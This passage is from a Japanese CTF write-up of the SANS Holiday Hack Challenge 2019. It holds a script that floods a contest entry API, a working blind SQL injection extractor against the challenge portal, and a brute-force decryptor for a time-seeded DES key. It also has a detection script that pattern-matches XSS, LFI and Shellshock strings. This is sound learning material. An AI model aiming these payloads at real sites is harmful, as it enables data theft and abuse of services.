yourREALemailAddress not in entry_response and entry_count < 200: print('Submitting lots of entries until we win the contest! Entry #{}'.format(entry_count)) entry_response = s.post("{}api/entry".format(url), data=userinfo).text entry_count += 1 print(entry_response) if __name__ == "__main__": main()
初回の判定で時間がかかるため、CAPTCHA画像の取得前に、#warmup処理を入れた。
また、CPU実行では5秒以内にクリアできなかったため、GPU実行するためにtensorflow_gpuとCUDAを使用した。パラメータやプログラムをチューニングすればCPU実行でもクリアできたかもしれないが、力で押してしまった。
(venv) D:\Develop\CTF\Contest\SANS2019>python capteha_api.py WARNING:tensorflow:From capteha_api.py:11: The name tf.logging.set_verbosity is deprecated. Please use tf.compat.v1.logging.set_verbosity instead. WARNING:tensorflow:From capteha_api.py:11: The name tf.logging.ERROR is deprecated. Please use tf.compat.v1.logging.ERROR instead. bc4876c3-e584-11e9-97c1-309c23aaf0ac Ornaments c8534506-e584-11e9-97c1-309c23aaf0ac Stockings db4d2d18-e584-11e9-97c1-309c23aaf0ac Ornaments efe57aca-e584-11e9-97c1-309c23aaf0ac Ornaments 28d30603-e585-11e9-97c1-309c23aaf0ac Stockings 3b8d0ffd-e585-11e9-97c1-309c23aaf0ac Christmas Trees 4239c700-e585-11e9-97c1-309c23aaf0ac Stockings 6b6c4b1f-e585-11e9-97c1-309c23aaf0ac Stockings 7b0948d3-e585-11e9-97c1-309c23aaf0ac Ornaments a73111a4-e585-11e9-97c1-309c23aaf0ac Christmas Trees 77038979-e586-11e9-97c1-309c23aaf0ac Ornaments 7ae2ec20-e586-11e9-97c1-309c23aaf0ac Christmas Trees b53a83cc-e586-11e9-97c1-309c23aaf0ac Ornaments c0b9ab01-e586-11e9-97c1-309c23aaf0ac Christmas Trees a20bf50e-e586-11e9-97c1-309c23aaf0ac Christmas Trees 27d6c159-e587-11e9-97c1-309c23aaf0ac Christmas Trees 29347cd2-e587-11e9-97c1-309c23aaf0ac Christmas Trees 294e44c4-e587-11e9-97c1-309c23aaf0ac Stockings 91dfe747-e587-11e9-97c1-309c23aaf0ac Stockings Waiting For Threads to Finish... 48ef0285-e588-11e9-97c1-309c23aaf0ac Stockings CAPTEHA Solved! Submitting lots of entries until we win the contest! Entry #1 Submitting lots of entries until we win the contest! Entry #2 (snip) Submitting lots of entries until we win the contest! Entry #101 Submitting lots of entries until we win the contest! Entry #102 {"data":"<h2 id=\"result_header\"> Entries for email address <mailaddress> no longer accepted as our systems show your email was already randomly selected as a winner! Go check your email to get your winning code. Please allow up to 3-5 minutes for the email to arrive in your inbox or check your spam filter settings. <br><br> Congratulations and Happy Holidays!</h2>","request":true}
クリアするとEメールを受信した。
answer: 8Ia8LiZEwvyZr2WO
9) Retrieve Scraps of Paper from Server
Error-Based Blind SQL Injectionを使用してサイト上からレコードを窃取し、得られたURLのパスから画像ファイルを集めた。
テーブル名、カラム名を特定してからレコードを取得する。プログラムは以下のとおり。
#!/usr/bin/env python # -*- coding: utf-8 -*- import requests import string import time URL = 'https://studentportal.elfu.org/application-check.php' URL_V = "https://studentportal.elfu.org/validator.php" target = "" def challenge(offset, guess): threshold = 1 req = requests.get( URL_V ) token = req.text start = time.time() req = requests.get( URL, params={ #"elfmail" : "' or if(ASCII(SUBSTRING((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)) < {}, ~(FALSE)+1, 1) #".format(offset + 1, guess, threshold), #[+] target: applications,krampus,students #"elfmail" : "' or if(ASCII(SUBSTRING((select group_concat(column_name) from information_schema.columns where table_name='krampus'), {}, 1)) < {}, ~(FALSE)+1, 1) #".format(offset + 1, guess, threshold), #[+] target: id,path "elfmail" : "' or if(ASCII(SUBSTRING((select group_concat(path) from krampus), {}, 1)) < {}, ~(FALSE)+1, 1) #".format(offset + 1, guess, threshold), #[+] target: /krampus/0f5f510e.png,/krampus/1cc7e121.png,/krampus/439f15e6.png,/krampus/667d6896.png,/krampus/adb798ca.png,/krampus/ba417715.png "token": token } ) elapsed_time = time.time() - start if "Error" in req.text: return True else: return False def binarySearch(offset): low = 0 high = 256 while low <= high: guess = (low + high) // 2 is_target_lessthan_guess = challenge(offset, guess) if is_target_lessthan_guess: high = guess else: low = guess if high == 1: return -1 elif high - low == 1: return low while True: code = binarySearch(len(target)) if code == -1: break target += chr(code) print("[+] target: " + target) print("[+] target: " + target)
answer: Super Sled-o-matic
10) Recover Cleartext Document
暗号化ツールで暗号化されたファイルを復号する問題。
まずは暗号化ツールの仕様と挙動を確認する。
--insecure
オプションでHTTP通信にしてWireSharkで観察しながら実行すると、
キーをローカルで生成してから、サーバに送信し、サーバ側でsecret id
を払い出していることがわかる。
(venv) D:\Develop\CTF\Contest\SANS2019\q10>elfscrow.exe --insecure --encrypt test.txt test.txt.enc Welcome to ElfScrow V1.01, the only encryption trusted by Santa! *** WARNING: This traffic is using insecure HTTP and can be logged with tools such as Wireshark Our miniature elves are putting together random bits for your secret key! Seed = 1577829922 Generated an encryption key: 0a875607c97060d3 (length: 8) Elfscrowing your key... Elfscrowing the key to: elfscrow.elfu.org/api/store Your secret id is 65d62b04-b20b-4a36-9328-c9ea5625a547 - Santa Says, don't share that key with anybody! File successfully encrypted! ++=====================++ || || || ELF-SCROW || || || || || || || || O || || | || || | (O)- || || | || || | || || || || || || || || || || || ++=====================++
復号の際には、secret id
をサーバに送信して、サーバに保存されているキーを取得して復号しているようだ。
(venv) D:\Develop\CTF\Contest\SANS2019\q8>elfscrow.exe --insecure --decrypt --id=65d62b04-b20b-4a36-9328-c9ea5625a547 test.txt.enc test.txt.dec Welcome to ElfScrow V1.01, the only encryption trusted by Santa! *** WARNING: This traffic is using insecure HTTP and can be logged with tools such as Wireshark Let's see if we can find your key... Retrieving the key from: /api/retrieve We found your key! File successfully decrypted! +----------------------+ |\ /\ | \ ________________ / |\ | | | | \ | | +------------+ | | \ | | |\ /| | | \ | | | \ / | | | \ | | | \ / | | | \ | | | \ / | | | | | | | \ / | | | | | | | \/ | | | | | | | | | | | | | | | | | | | |_| SECRET |_| | | | / +------------+ \ | | |/ \| | +----------------------\ | \ | \ | \ | \ | \| |
ターゲットとなるファイルを復号するキーを得るためのsecret id
をサーバから取得するのは厳しそうである。
暗号化を実行した際のSeed = 1577829922
の出力に注目する。これは明らかにUnixtimeであり、キーの生成にあたりUnixtimeを使用していることを示唆している。また、問題のヒントとしてWe know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.
という情報が与えられている。
つまり、キーの生成処理を解析し、何らかのSeed値として使用されているUnixtimeについては2時間の範囲を総当たりすれば、キーを特定できると推測できる。
Ghidraでデコンパイルして、キーの生成処理を確認する。
推測通り、現在時間のUnixtimeを元にキーを生成している。乱数は使用しておらず、Unixtimeの値をそのまま使用して計算およびbit演算をしている。
このキー生成ロジックをPythonに移植した上で、2時間の範囲を総当たりするプログラムを作る。暗号化方式はDES_CBCで、ivは無指定であったので0x00で埋めた。
復号結果のファイルはPDFであることがわかっているため、PDFファイルのマジックナンバーである%PDF
が含まれているかどうかをチェックした。
from datetime import datetime, timezone from Crypto.Cipher import DES ENCRYPT_FILE_PATH = 'ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc' DECRYPT_DIR_PATH = './output/' #int __cdecl super_secure_random(void) #{ # DAT_0040602c = DAT_0040602c * 0x343fd + 0x269ec3; # return DAT_0040602c >> 0x10 & 0x7fff; #} DAT_0040602c = 0 def super_secure_random(): global DAT_0040602c DAT_0040602c = DAT_0040602c * 0x343fd + 0x269ec3 return DAT_0040602c >> 0x10 & 0x7fff # i = 0; # while (i < 8) { # iVar2 = super_secure_random(); # buffer[i] = (uchar)iVar2; # i = i + 1; # } def genKey(seed): global DAT_0040602c DAT_0040602c = seed key = bytearray() for i in range(8): iVar2 = super_secure_random() key.append((iVar2 & 0x000000ff)) return bytes(key) unpad = lambda s : s[0:-s[-1]] def decrypt(encrypt_data, key): #print(encrypt_data[:DES.block_size]) #cipher = DES.new(key, DES.MODE_CBC, encrypt_data[:DES.block_size]) cipher = DES.new(key, DES.MODE_CBC, "\x00\x00\x00\x00\x00\x00\x00\x00") try: return unpad(cipher.decrypt(encrypt_data)) except KeyboardInterrupt: raise except: pass def main(): with open(ENCRYPT_FILE_PATH, "rb") as encrypt_file: encrypt_data = encrypt_file.read() # We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC. from_time = int(datetime(2019,12,6,19,tzinfo=timezone.utc).timestamp()) to_time = int(datetime(2019,12,6,21,tzinfo=timezone.utc).timestamp()) for seed in range(from_time, to_time): key = genKey(seed) decrypt_data = decrypt(encrypt_data, key) if decrypt_data is not None and b"%PDF" in decrypt_data: with open(DECRYPT_DIR_PATH + str(seed) + ".pdf", 'wb') as decrypt_file: print("[+] decrypt: " + DECRYPT_DIR_PATH + str(seed) + ".pdf") decrypt_file.write(decrypt_data) if __name__ == "__main__": main()
実行すると3つのファイルが生成され、うち1つのファイルを正しくArobat Readerで表示することができた。
answer: Machine Learning Sleigh Route Finder
11) Open the Sleigh Shop Door
Web画面の中から鍵を開くためのコードを集める問題。鍵は全部で10個。 ヒントにしたがって、Web画面のJavaScript/DOM/CSSの属性や値を表示したり操作したりすると、コードが得られる。
大半のコードは表示するたびに値が変わるため、やり直すときには再度最初から確認していく必要がある。 JavaScriptでコードを生成しているようだが、難読化されているため、それを読み解くよりは正攻法で解く方が早そうだ。
1
開発者コンソールにそのまま表示されている。
2
CSSのmedia typeが印刷用の場合にのみ表示されるため、印刷プレビュー画面から確認する。
3
ネットワークキャプチャを確認すると、定期的に以下のURLにアクセスしている。
https://crate.elfu.org/images/a5097628-75cd-48d4-90c1-c43abdba7991.png
4
ローカルストレージに格納されている。
5
document.titleの後ろの方にセットされているため、コンソールでdocument.title
を実行して確認する。
6
ホログラムのカードに適用されているスタイルのperspectiveの値を巨大にすると表示される。
7
問題文のフォント名を確認する。
8
問題文でハイライトされているeggs
のイベントリスナーを確認する。
9
問題文の中でspanタグでclassがchakraとなっている部分の状態を強制的にactiveにすると表示される。
Triggering of pseudo classes | Web | Google Developers
10
鍵の装置のカバー画像のdiv要素をdrag & dropで移動すると、基盤がむき出しになる。
基盤の右下にコードが書いてあるが、それをそのまま入力しても、コンソールでエラーメッセージが表示される。
Error: Missing macaroni!
ソースコード内をmacaroniで検索すると、classがcomponent macaroniのdiv要素を発見する。 drag&dropで鍵の装置のdiv要素の子に移動し、再度コードを入力すると、次のエラーメッセージが表示される。 同じ要領で、swab、gnomeも移動する。
10個の鍵を開けると答えが表示された。
answer: The Tooth Fairy
高速化
クリアはできたものの、画面を表示してからクリアするまでの時間が計測されているようで、3分以内を目指すようメッセージが表示された。 10個の鍵のうち、簡単にJavaScriptでコード値を設定可能な部分だけ対応して半自動化し、3分を切ってみた。
// 4 document.getElementsByTagName("input")[3].value = localStorage.getItem("🛢️🛢️🛢️") // 5 document.getElementsByTagName("input")[4].value = document.title.substr(-8) // 8 document.getElementsByTagName("input")[7].value = "VERONICA" // 10 document.getElementsByTagName("input")[9].value = "KD29XJ37" document.getElementsByClassName("lock c10")[0].appendChild(document.getElementsByClassName("component macaroni")[0]) document.getElementsByClassName("lock c10")[0].appendChild(document.getElementsByClassName("component swab")[0]) document.getElementsByClassName("lock c10")[0].appendChild(document.getElementsByClassName("component gnome")[0]) document.getElementsByClassName("locks")[0].appendChild(document.getElementsByClassName("cover")[0])
ただ、次は5秒以内を目指せとメッセージが表示された。諦めた。
12) Filter Out Poisoned Sources of Weather Data
JSON形式のWebサーバのアクセスログを分析し、不正なデータをリクエストしてくるIPアドレスを管理画面からブラックリストに登録する問題。
ただ、管理画面へログインするクレデンシャル情報もない状態からスタート。
Step1. ログイン
ステータスコードが200のログを抽出し、有効なURLをリストアップする。
root@kali:/mnt/hgfs/CTF/Contest/SANS2019/q12# cat http.log | jq '(.[] | select (.status_code==200)) | .uri' | sed 's/"//g' | sed 's/\?.*//' | sort | uniq > status_200.txt root@kali:/mnt/hgfs/CTF/Contest/SANS2019/q12# cat status_200.txt / /alert.html /apidocs.pdf /api/firewall /api/login /api/measurements /api/stations /api/weather /css/alt.css /css/freelancer.min.css /css/main.css /css/weathermap.css /home.html /img/badweather.png /img/goodweather.png /img/logo_zoomed2.PNG /index.html /js/CustomEase.js /js/freelancer.min.js /js/ipaddr.js /js/library-g.js /js/Morph.js /js/weathermap.js /logout /map.html /README.md /santa.html /vendor/bootstrap/js/bootstrap.bundle.min.js /vendor/fontawesome-free/css/all.min.css /vendor/fontawesome-free/webfonts/fa-solid-900.woff2 /vendor/jquery-easing/jquery.easing.min.js /vendor/jquery/jquery.min.js
README.mdが怪しい。
root@kali:/mnt/hgfs/CTF/Contest/SANS2019/q12# curl https://srf.elfu.org/README.md # Sled-O-Matic - Sleigh Route Finder Web API ### Installation ``` sudo apt install python3-pip sudo python3 -m pip install -r requirements.txt ``` #### Running: `python3 ./srfweb.py` #### Logging in: You can login using the default admin pass: `admin 924158F9522B3744F5FCD4D10FAC4356` However, it's recommended to change this in the sqlite db to something custom.
デフォルトのクレデンシャル情報を入手できた。入力するとログインに成功した。
Step2. ブラックリスト作成
エルフの情報から、攻撃パターンはXSS、SQLi、LFI、ShellShockの4種類であることがわかる。
ログを眺めると、確かにそれっぽい攻撃データが散見される。 host、uri、user_agent、usernameにセットされているようなので、それらに攻撃データをセットしているIPアドレスをブラックリストにいれる。
ただ、それだけでは足りなかった。 エルフの情報から、更に横展開して確認するようヒントがあったため、攻撃データをセットしているログのuser_agentと、同じuser_agentを使用しているログのIPアドレスもブラックリストに追加する。それだけでは誤検知してしまうため、件数で閾値を設ける。
jqコマンドでやるのは辛いので、pythonで書く。
import json def main(): f = open("http.log", "r") logs = json.load(f) blacklist_ip = [] blacklist_ua = [] for record in logs: for column in ["host","uri","user_agent","username"]: for check in ["<script>","' ","./","/etc/passwd", "/bin/", ":;"]: if check in record[column]: blacklist_ip.append(record["id.orig_h"]) blacklist_ua.append(record["user_agent"]) blacklist_ip = list(set(blacklist_ip)) blacklist_ua = list(set(blacklist_ua)) print("[+] blacklist_ip size: " + str(len(blacklist_ip))) blacklist_ua_counts = {} for record in logs: for ua in blacklist_ua: if ua == record["user_agent"]: blacklist_ua_counts[ua] = blacklist_ua_counts[ua] + 1 if ua in blacklist_ua_counts else 1 threshold = 2 print(blacklist_ua_counts) for k, v in blacklist_ua_counts.items(): if v > threshold: blacklist_ua.remove(k) for record in logs: for ua in blacklist_ua: if ua == record["user_agent"]: blacklist_ip.append(record["id.orig_h"]) blacklist_ip = list(set(blacklist_ip)) print("[+] blacklist_ip size: " + str(len(blacklist_ip))) for ip in blacklist_ip: print(ip+",", end="") if __name__=='__main__': main()
得られたIPアドレスリストをブラックリストとして登録すると、答えが得られた。
answer: 0807198508261964
最後の部屋に到達し、キャラクター全員に話しかけるとスタッフロールが流れてクリア。
所感
昨年も感じたが、とにかく問題のバリエーションやテーマが多岐にわたっていて、チャレンジしていてワクワクする問題が多い。さすがSANS。
今年の目玉の問題は、splunkと機械学習だろう。どちらも、触ったことが無い人が初めて触るのにちょうどいい難易度だと思う。 あと、実はGhidraを触るのは今回が初だったりもする。良いきっかけを与えてくれた。
いずれにしても、無料でここまで勉強させてもらえるコンテンツは中々無い。次回も楽しみである。